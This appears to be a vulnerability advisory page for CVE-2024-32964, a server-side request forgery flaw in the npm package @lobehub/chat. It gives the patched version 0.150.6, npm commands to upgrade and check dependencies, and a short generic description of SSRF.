@lobehub/chat fixed: 0.150.6
npm install @lobehub/chat@0.150.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/chat

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-32964, inspect your project dependencies using npm:

npm ls @lobehub/chat

Analyze the terminal output to locate any version of @lobehub/chat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.150.6), your application is affected.

Note: The npm ls @lobehub/chat command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @lobehub/chat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
